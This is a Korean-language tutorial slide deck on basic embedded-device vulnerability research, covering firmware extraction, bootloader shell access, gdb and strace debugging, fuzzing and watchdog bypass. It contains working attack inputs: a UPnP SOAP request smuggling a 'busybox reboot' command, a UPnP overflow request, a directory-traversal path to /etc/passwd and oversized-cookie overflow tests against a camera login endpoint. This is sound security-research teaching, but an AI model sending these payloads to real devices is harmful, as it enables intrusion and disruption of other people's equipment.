

# Embedded Device 0-day hunting을 위한 기초 분석

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# 임베디드 기기 분석 절차

- 장비 분해
- UART 포트 연결
  - Shell 획득 혹은 Log message 확인
- 펌웨어 획득
  - 업데이트 파일, bootloader 이용, flash memory 추출, jtag 연결 등
- 바이너리 추출
  - filesystem mounting
- 기기 환경 분석
  - 취약점 공격 대상 선정 및 attack vector 구상
- 취약점 분석 및 Exploiting
  - gdb 디버깅, jtag 연결 등

# 원격 취약점 분석 절차

- TCP/UDP 서비스별로 매핑된 프로세스 찾기
  - Port Scanning
  - netstat -anp
  - cat /proc/net/tcp, cat /proc/net/udp
  - Process kill test
- 최초 packet data를 수신하는 함수 찾기
  - recv(), read()
  - gdb를 이용하여 break 후 return address 확인
- 각 서비스별 용도 파악하기
  - 데이터 송수신? 원격 제어? 설정 변경?
- 취약점 분석
  - Fuzzing
  - Binary Static Reversing

# 가장 중요한 것 중 하나는

- 서비스가 출력하는 각종 Message들을 보는 것
  - 서비스의 용도를 대충 알 수 있음
  - 해당 함수들을 추적하기 쉬워짐
  - 각종 에러 메시지들을 확인할 수 있음
- 방법1
  - UART로 메시지 확인
- 방법2
  - 서비스를 자신의 터미널에서 재실행
- 방법3
  - gdb를 이용한 stdout/stderr 강제 redirection

# Stdout, stderr 강제 redirection

```
(gdb) call open("/tmp/log.log", 66)
```

```
194
```

```
(gdb)
```

```
(gdb) call dup2(194, 1)
```

```
(gdb) call dup2(194, 2)
```

```
# tail -f /tmp/log
```

```
currCrStatus=2
```

```
[ERR][rest_comm/comm/rest_root.c #489]: could not find the url's /ISAPI/System/Network/SIP
```

```
manAApNum=4
```

```
currCrStatus=2
```

```
CATION: Invalid REST Error Code: 21
```

```
CATION: bad errno: 21
```

```
CATION: Invalid REST Error Code: 21
```

```
CATION: bad errno: 21
```

```
[ERR][system/param/paramLib.c #5281]: Write parameter file error, errno=0x1c.
```

```
[ERR][system/param/paramLib.c #5694]: writeDevParam error
```

# Stdout, stderr 강제 redirection

```
# cat a.c
#include <stdio.h>    // printf()
#include <string.h>    // strlen()
#include <fcntl.h>     // O_WRONLY
#include <unistd.h>    // write(), close()

int main()
{
printf("%d\n", O_CREAT | O_RDWR);
}

# ./a
66
#
```

# 프로세스와 프로세스 사이의 관계 파악하기

- IPC
  - Inter-Process Communication
- netstat -anp
  - Unix domain socket
- 시스템의 전체적인 작동구조를 이해하기 위해 필요

# 열린 Descriptor 목록을 보며 감 잡기

```
/proc/340/fd # ls -al
total 0
dr-x----- 2 root    root    0 Apr  5 00:26 .
dr-xr-xr-x  7 root    root    0 Apr  5  2016 ..
lrwx----- 1 root    root   64 Apr  5 00:27 0 -> /dev/tty0
l-wx----- 1 root    root   64 Apr  5 00:27 1 -> /dev/null
lrwx----- 1 root    root   64 Apr  5 00:27 10 -> /dev/diag
lr-x----- 1 root    root   64 Apr  5 00:27 11 -> pipe:[1975]
l-wx----- 1 root    root   64 Apr  5 00:27 12 -> pipe:[1975]
lrwx----- 1 root    root   64 Apr  5 00:27 13 -> /dev/binder
lrwx----- 1 root    root   64 Apr  5 00:27 14 -> socket:[1977]
lrwx----- 1 root    root   64 Apr  5 00:27 15 -> socket:[1978]
lrwx----- 1 root    root   64 Apr  5 00:27 16 -> socket:[1979]
lr-x----- 1 root    root   64 Apr  5 00:27 17 -> pipe:[1983]
l-wx----- 1 root    root   64 Apr  5 00:27 18 -> pipe:[1983]
lrwx----- 1 root    root   64 Apr  5 00:27 19 -> socket:[1989]
l-wx----- 1 root    root   64 Apr  5 00:27 2 -> /dev/null
lrwx----- 1 root    root   64 Apr  5 00:27 20 -> socket:[1998]
lr-x----- 1 root    root   64 Apr  5 00:27 3 -> pipe:[1974]
l-wx----- 1 root    root   64 Apr  5 00:27 4 -> pipe:[1974]
l-wx----- 1 root    root   64 Apr  5 00:27 5 -> /dev/log_main
l-wx----- 1 root    root   64 Apr  5 00:27 6 -> /dev/log_radio
l-wx----- 1 root    root   64 Apr  5 00:27 7 -> /dev/log_events
l-wx----- 1 root    root   64 Apr  5 00:27 8 -> /dev/log_system
l-wx----- 1 root    root   64 Apr  5 00:27 9 -> /dev/log_gnss
/proc/340/fd #
```



# 펌웨어에서 파일 추출

- binwalk, fmk
  - `dd bs=1 skip=X count=x if=input out=output`
- Linux 계 열
  - binwalk, fmk
  - File system 에 따른 mount
    - `sudo mount -t fileSystem (-o loop) firmwareFile mntFolder`
    - ext2, ext4, squash (binwalk), JFFS2, yaffs2 ...
- .hex firmware
  - .hex → .bin conversion
  - file system이 존재하지 않는 경우
    - OS가 없는 작은 펌웨어의 경우 file system 또한 없음
- 펌웨어 encoding, encryption 적용된 경우 처리 방안은?
  - Bootloader 에서 decoding, decryption code 확인

# 디바이스 펌웨어 추출 및 분석

- 업데이트 기능 이용
  - 제품 홈페이지 내의 업데이트 파일 다운로드 및 분석
  - 자동 업데이트 될 때 packet sniffing
- binwalk, fmk 이용
- File system 에 따른 mount
  - `sudo mount -t fileSystem (-o loop) firmwareFile mntFolder`
  - ext2, ext4, squash (binwalk), JFFS2, yaffs2 ...
- UART 이용
  - 셸 획득 시 각종 바이너리 획득 가능
  - 셸 획득 못할 시
    - 부트로더로 셸 획득 시도
    - 부팅 시 CTRL+C 입력
- 부트로더 이용
  - Memory dump command로 펌웨어 획득

# 부트로더로 shell 획득하기

- 부팅 옵션을 변경하여 /bin/sh 실행
  - Uboot
    - init=/bin/sh

```
setenv bootargs 'mem=128M console=uart,shift,2,io,0xF9830000,38400 init=/bin/sh'  
setenv bootcmd 'sf probe 0:0;sf read 0x4000000 0xd0000 0x800000;go 0x4000000'
```

# 부트로더에서 file system을 찾을 수 없을 때

```
=> print
bootargs=
bootcmd=sf probe 0:0;sf read 0x4000000 0xd6100 0x800000;go 0x4000000
bootdelay=1
baudrate=38400
ethaddr=00:42:70:00:30:22
ipaddr=10.0.1.52
serverip=10.0.1.51
gatewayip=10.0.1.51
netmask=255.0.0.0
ethact=FTMAC110#0
ver=U-Boot 2008.10 (Aug 9 2012 - 13:27:23)
```



```
sf probe 0:0
sf read 0x4000000 0xd6100 0x800000
go 0x4000000
```

```
// sf = serial flash
```

# 부트로더에서 file system을 찾을 수 없을 때

```
=> md 0x4000000
```

```
04000000: ea000012 e59ff014 e59ff014 e59ff014 .....
04000010: e59ff014 e59ff014 e59ff014 e59ff014 .....
04000020: 010000e0 01000140 010001a0 01000200 ....@.....
04000030: 01000260 010002c0 01000320 deadbeef `.....
04000040: 01000000 01000000 0101b85c 01020b90 .....\.
04000050: e10f0000 e3c0001f e38000d3 e129f000 .....).
04000060: e24f0068 e51f102c e1500001 0a000007 h.O,....P....
04000070: e51f2034 e51f3034 e0432002 e0802002 4 ..40... C.. ..
04000080: e8b007f8 e8a107f8 e1500002 daffffff .....P....
04000090: e51f0058 e2400702 e2400080 e240d00c X....@...@...@.
040000a0: e51f0060 e51f1060 e3a02000 e5802000 `...`.... ..
040000b0: e2800004 e1500001 daffffff eb0000bd .....P.....
040000c0: eb0000bd e51ff004 010004c0 e1a00000 .....
040000d0: e1a00000 e1a00000 e1a00000 e1a00000 .....
040000e0: e51fd0a4 e24dd922 e24dd088 e58de000 ....".M...M....
040000f0: e14fe000 e58de004 e3a0d013 e169f00d ..O.....i.
```

```
=>
```

# 부팅 흐름 분석하기

```
# cat /etc/init
#!/bin/busybox ash
/bin/busybox mount -t sysfs /dev/sys /sys
/bin/busybox mount -t proc /proc
/bin/busybox mount -t devpts /dev/pts
# Populate /dev according to /sys
/bin/busybox mdev -s
/bin/busybox --install -s
/linuxrc
exec /sbin/init "$@" </dev/console >/dev/console 2>&1
#
```

# 부팅 흐름 분석하기

```
# cat /etc/inittab
# system initialisation
#::sysinit:/bin/mount -n -o remount,rw /
ttyS0::sysinit:/etc/init.d/rc.sysinit
::sysinit:/etc/init.d/start

# run gettys on the serial ports
#null::respawn:/sbin/getty -L ttySA0 9600 vt100
#Line below is used with devfs
#::respawn:/sbin/getty -L tts/0 38400 vt100
#::respawn:/sbin/getty ttyS0 38400 vt100
#::respawn:/sbin/getty -L ttyS1 38400 vt100
#::respawn:/sbin/getty -L ttyS2 38400 vt100
::respawn:/bin/sh < /dev/ttyS0 2>&1 > /dev/ttyS0
#::respawn:/bin/sh
# stuff to do before rebooting
::ctrlaltdel:/etc/init.d/reboot
::shutdown:/bin/umount -a -r
::shutdown:/sbin/swapoff -a
```

# 부팅 흐름 분석하기

```
# cat /etc/init.d/rc.sysinit
#!/bin/sh

PATH=/bin:/sbin:/usr/bin:/usr/sbin
export PATH

/bin/echo "*****"
/bin/echo "Busybox starts to run"
/bin/echo "*****"

# mount root filesystem in read-write mode
/bin/echo "Mounting root fs rw ..."
/bin/mount -n -o remount,rw /

# mount all other filesystems
/bin/echo "Mounting other filesystems ..."
/bin/mount -a

/bin/echo "Setting hostname ..."
/bin/hostname hx

#/bin/echo "Bringing up interfaces ..."
#ifup -a

# mount /mnt/mtd
/bin/echo "Mounting user's MTD partion"
/etc/init.d/rc.mtd
#
```



# 부팅 흐름 분석하기

```
# cat /etc/init.d/rc.mtd
# check MTD partition and mount it, add by Mars Cheng
mount -t jffs2 /dev/mtdblock1 /mnt/mtd 2> mtd_check.tr
result=$(grep "failed" mtd_check.tr)
rm mtd_check.tr
if (test -n "$result");then
    echo "No JFFS2 fs info on mtdblock1, creating it..."
    flash_eraseall /dev/mtd1
    mount -t jffs2 /dev/mtdblock1 /mnt/mtd
else
    echo "Has JFFS2 on mtdblock1"
Fi
#
```

# Gdb로 함수 호출 모니터링 하기

```
(gdb) b *strcpy
(gdb) set height 0
(gdb) commands
(gdb) if $lr != 0x6a43c && $lr != 0x3a700 && $lr != 0x3b5fc && $lr != 0x3b5fc && $lr != 0x3a090
(gdb) p/x $lr
(gdb) x/s $r1
(gdb) end
(gdb) c
(gdb) end
```

# Gdbserver 사용 시 심볼 나타내기

## \* 심볼이 없는 모습

(gdb) info sharedlibrary

| From       | To         | Syms Read | Shared Object Library |
|------------|------------|-----------|-----------------------|
|            | Yes (*)    |           | ./miniupnpd           |
|            | No         |           | /lib/libmib.so.0      |
|            | No         |           | /lib/libmini_upnp.so  |
|            | No         |           | /lib/libc.so.0        |
| 0x2aba0f20 | 0x2aba8df0 | Yes       | /lib/libgcc_s.so.1    |
|            | No         |           | /lib/ld-uClibc.so.0   |

(\*): Shared library is missing debugging information.

(gdb)

## • 심볼이 살아난 모습

# libmini\_upnp.so 파일 복사 후

(gdb) set solib-search-path

Loaded symbols for /root/MIPS/BUIDLROOT/buildroot-2015.05/output/host/usr/bin/libmini\_upnp.so

warning: `/lib/libgcc\_s.so.1': Shared library architecture unknown is not compatible with target architecture mips:3000.

warning: Unable to find dynamic linker breakpoint function.

GDB will be unable to debug shared library initializers  
and track explicitly loaded dynamic code.

(gdb) info sharedlibrary

| From       | To         | Syms Read | Shared Object Library  |
|------------|------------|-----------|--|
|            | Yes (*)    |           | ./miniupnpd  |
|            | No         |           | /lib/libmib.so.0   |
|            | Yes (*)    |           | /root/MIPS/BUIDLROOT/buildroot-2015.05/output/host/usr/bin/libmini_upnp.so |
|            | No         |           | /lib/libc.so.0   |
| 0x2aba0f20 | 0x2aba8df0 | Yes       | /lib/libgcc_s.so.1   |
|            | No         |           | /lib/ld-uClibc.so.0  |

(\*): Shared library is missing debugging information.

(gdb)

# 자식 프로세스 디버깅하기

```
#include <stdio.h>
...

#define MYPORT 8181
#define BACKLOG 10

main()
{
    char buf[20];
    ...

    if (listen(sockfd, BACKLOG) == -1) {
        perror("listen");
        exit(1);
    }

    while(1) {
        sin_size = sizeof(struct sockaddr_in);
        if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) {
            perror("accept");
            continue;
        }
        printf("server: got connection from %s\n", inet_ntoa(their_addr.sin_addr));
        if (!fork()) {
            recv(new_fd, buf, 65535, 0);
            close(new_fd);
            return 0;
        }
        close(new_fd);

        while(waitpid(-1, NULL, WNOHANG) > 0);
    }
}
```

# 자식 프로세스 디버깅하기

```
# perl -e 'printf "A"x5000' | nc localhost 8181
```

1. gdb ./a 실행 => 안 나타남

```
gdb$ r
server: got connection from 127.0.0.1
Detaching after fork from child process 7865.
```

2. follow-fork-mode로 실행 => 나타남

```
gdb$ set follow-fork-mode child
gdb$ r
server: got connection from 127.0.0.1
[New process 14224]
```

```
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 14224]
```

```
-----[regs]
EAX: 0x00000000 EBX: 0x002FDFF4 ECX: 0x41414141 EDX: 0x00000009 o d l t S z a P c
ESI: 0x001A2CA0 EDI: 0x00000000 EBP: 0x41414141 ESP: 0x4141413D EIP: 0x08048807
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
```

```
-----[code]
```

```
0x08048807 <main+483>:      ret
0x08048808:      nop
0x08048809:      nop
0x0804880a:      nop
0x0804880b:      nop
0x0804880c:      nop
0x0804880d:      nop
0x0804880e:      nop
```

```
-----
0x08048807 in main ()
gdb$
```

# Gdb로 디버깅이 안 될 때

```
(gdb) b *sleep  
Breakpoint 1 at 0x4ebac280  
(gdb) c  
Continuing.
```

```
Program terminated with signal SIGTRAP, Trace/breakpoint trap.  
The program no longer exists.  
(gdb)
```

- Thread와 관련이 있음

dlopen failed on 'libthread\_db.so.1' - libthread\_db.so.1: cannot open shared object file: No such file or directory, GDB will not be able to debug pthreads.

- 해결책

- 동일한 버전의 libthread\_db.so.1를 구해서 넣어준다.
- strings => Compiled by GNU CC version 4.6.3 20111117 (prerelease).

# Strace 사용하기

- 특정 함수만 추적하기
  - `strace -e trace=open`
  - `Strace -e trace=open,close,read,write`
- 파일을 다루는 부분만 추적하기
  - `strace -e trace=file`
  - 그 외
    - `-e trace=process`
    - `-e trace=network`
    - `-e trace=signal`
    - `-e trace=ipc`
    - `-e trace=desc`
- 세그폴트만 보기
  - `strace -f -e trace=dup2 -e signal=SIGSEGV ./a`
    - 자식 프로세스의 출력물이 너무 많을 때 유용
    - `dup2` (아무 함수나 하나 넣어준 것)

# 용량이 부족한 기기에 파일 올리기

- 램파일시스템에 올린다.
  - Mount
  - 주로 /tmp/, /var/tmp/ 등



# 기기에 chmod가 없어서 x 권한을 주지 못할 때

- x 권한이 있는 바이너리를 한번 복사한 후, 그 파일에 덮어쓰기를 한다.
  - `cp -f /bin/ls /tmp/telnetd`
  - `cp -f /tmp/telnetd_ /tmp/telnetd`
- tar로 압축해서 올린 후 압축을 푼다
  - `tar xvfz...`
    - 권한 정보가 유지된다

# 임베디드 시스템의 주요 취약점들

- default password
  - telnet, ftp, admin page
- 인증 확인 부재
  - RTSP, admin page
- Buffer Overflow
  - TCP/UDP 서비스
  - Cgi, Login form
- Command injection
  - Web, TCP/UDP 서비스
- Heartbleed, shellshock
- Backdoor
- Directory traversal
  - GET ../../../../etc/passwd

# UPNP command injection 예제

```
POST /wanipcn.xml HTTP/1.1
HOST: 192.168.0.1:49152
CONTENT-LENGTH: 800
CONTENT-TYPE: text/xml; charset="utf-8"
SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
```

```
<s:Envelope
xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewRemoteHost>192.168.25.1</NewRemoteHost>
<NewExternalPort>8181</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
<NewInternalPort>80</NewInternalPort>
<NewInternalClient>`busybox reboot`</NewInternalClient>
<NewEnabled>1</NewEnabled>
<NewPortMappingDescription>upnptest1</NewPortMappingDescription>
<NewLeaseDuration>0</NewLeaseDuration>
</u:AddPortMapping>
</s:Body>
</s:Envelope>
```

# UPNP buffer overflow 예제

```
POST /wanipcn.xml HTTP/1.1
HOST: 192.168.0.1:49152
CONTENT-LENGTH: 800
CONTENT-TYPE: text/xml; charset="utf-8"
SOAPACTION: "urn:schemas-upnp-
org:service:WANIPConnection:1#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

<s:Envelope
xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewRemoteHost>192.168.25.1</NewRemoteHost>
<NewExternalPort>8181</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
<NewInternalPort>80</NewInternalPort>
<NewInternalClient>192.168.0.1</NewInternalClient>
<NewEnabled>1</NewEnabled>
<NewPortMappingDescription>upnpctest1</NewPortMappingDescription>
<NewLeaseDuration>0</NewLeaseDuration>
</u:AddPortMapping>
</s:Body>
</s:Envelope>
```

# Buffer Overflow 테스트 방법

1. 패킷 스니핑을 통해 정상적인 데이터 포맷을 획득한다.

```
GET /ISAPI/Security/userCheck HTTP/1.1
```

```
Accept: */*
```

```
Accept-Language: ko
```

```
Referer: http://192.168.35.186:8000/doc/page/login.asp
```

```
Authorization: Basic MTEExOjExMQ==
```

```
x-requested-with: XMLHttpRequest
```

```
If-Modified-Since: 0
```

```
Accept-Encoding: gzip, deflate
```

```
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
```

```
Host: 192.168.35.186:8000
```

```
Connection: Keep-Alive
```

```
Cookie: language=ko; updateTips=true
```

```
=> payload.dat로 저장
```

# Buffer Overflow 테스트 방법

2. Mutation을 수행하는 python 코드를 작성한다

```
# cat change.py

fp = open("payload.dat")

while 1:
    line = fp.readline()
    if not line:
        break
    line = line.replace("CHANGE", "A"*20000)
    print line ,

fp.close()

#
```

# Buffer Overflow 테스트 방법

3. BOF 테스트 해 볼 필드를 CHANGE로 변경한다.

```
GET /ISAPI/Security/userCheck HTTP/1.1
Accept: */*
Accept-Language: ko
Referer: http://192.168.35.186:8000/doc/page/login.asp
Authorization: Basic MTEExOjExMQ==
x-requested-with: XMLHttpRequest
If-Modified-Since: 0
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR
2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Host: 192.168.35.186:8000
Connection: Keep-Alive
Cookie: language=ko; updateTips=CHANGE
```

# Buffer Overflow 테스트 방법

## 4. Python 실행 및 패킷 송신

```
# python change.py > payload2  
# wget http://192.168.25.1/goform/formLogin --post-file=payload2
```

혹은 그냥

```
# cat change.py | nc 192.168.35.186 8000
```

\* 대상 쪽에서는 strace나 ltrace로 모니터링하고 있다. (crash가 발생하는지 안하는지)



# Fuzzing

- 크게 고민하지 않고 Fuzzing하기
  - Radamsa 이용

```
GET /ISAPI/Security/userCheck HTTP/1.1
Accept: */*
Accept-Language: ko
Referer: http://192.168.35.186:8000/doc/page/login.asp
Authorization: Basic MTEExOjExMQ==
x-requested-with: XMLHttpRequest
If-Modified-Since: 0
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Host: 192.168.35.186:8000
Connection: Keep-Alive
Cookie: language=ko; updateTips=true
```

⇒payload.dat로 저장

```
# cat payload | radamsa > payload2
```

# Crash Monitoring

- PID 변경되었는지 확인
- Core 파일 생성하기
  - `ulimit -c unlimited`
- `ltrace`, `strace`
  - `-i` 옵션 유용

# Core 파일 생성시키기

```
/ # cat /proc/359/limits
Limit                Soft Limit            Hard Limit             Units
Max cpu time         unlimited             unlimited             seconds
Max file size        unlimited             unlimited             bytes
Max data size        unlimited             unlimited             bytes
Max stack size       8388608              unlimited             bytes
Max core file size    0                    0                    bytes
Max resident set     unlimited             unlimited             bytes
Max processes        1219                  1219                  processes
Max open files       1024                  4096                  files
Max locked memory    65536                 65536                 bytes
Max address space    unlimited             unlimited             bytes
Max file locks       unlimited             unlimited             locks
Max pending signals  1219                  1219                  signals
Max msgqueue size    819200                819200                bytes
Max nice priority     0                     0
Max realtime priority 0                     0
Max realtime timeout  unlimited             unlimited             us
/ #
```

```
=> ulimit -c unlimited
```

# 귀찮은 재시작 막기

\* /etc/inittab

=> Respawn으로 되어있는 부분에 주석 처리를 한다.

```
#runs reboot daemon
```

```
rb:5:respawn:/sbin/reboot-daemon
```

```
sd:5:respawn:/sbin/servicemanager 1> /dev/null 2> /dev/null
```

```
ds:5:respawn:/sbin/start 1> /dev/null 2> /dev/null
```

```
S:2345:respawn:/sbin/getty -L ttyHSL0 115200 console
```

```
S:2345:respawn:/bin/sh
```

```
rd:5:respawn:/sbin/rild -l /usr/lib/libril-qc-qmi-1.so.0 1> /dev/null 2> /dev/null
```

```
sc:5:respawn:/usr/bin/commander 1> /dev/null 2> /dev/null
```

```
#sw:5:respawn:/usr/bin/wifi_daemon 1> /dev/null 2> /dev/null
```

```
ml:5:respawn:/bin/sh /usr/data/log/logger.sh 1> /dev/null 2> /dev/null
```

```
hl:5:respawn:/bin/sh /usr/data/log/logger_history.sh 1> /dev/null 2> /dev/null
```

```
dl:5:respawn:/bin/sh /usr/data/log/logger_debuggerd.sh 1> /dev/null 2> /dev/null
```

```
hi:5:wait:/etc/oma-dm-client/bin/start_ota_service.sh 1> /dev/null 2> /dev/null
```

```
hj:5:respawn:/etc/oma-dm-client/bin/FOTA_DAEMON 1> /dev/null 2> /dev/null
```

```
dd:5:respawn:/usr/bin/debuggerd 1> /dev/null 2> /dev/null
```

# Watchdog

- 작동 방식의 이해

- Watchdog 파일 : /dev/watchdog, /dev/wdt
- 중요한 프로그램이 n초에 한번씩 이 파일에 값을 writing
- 만약 이 중요한 프로그램이 중단된다면, watchdog 파일이 갱신되지 않음
- => 리부팅

- 코드 예제

- `int one = 1;`
- `int fd = open("/dev/watchdog", 2);`
- `int ret = ioctl(fd, 0x80045704, &one);`

- 해결방법

- 위 코드를 계속 실행하는 프로그램을 만들어서 백그라운드로 실행

Q/A

**감사합니다.**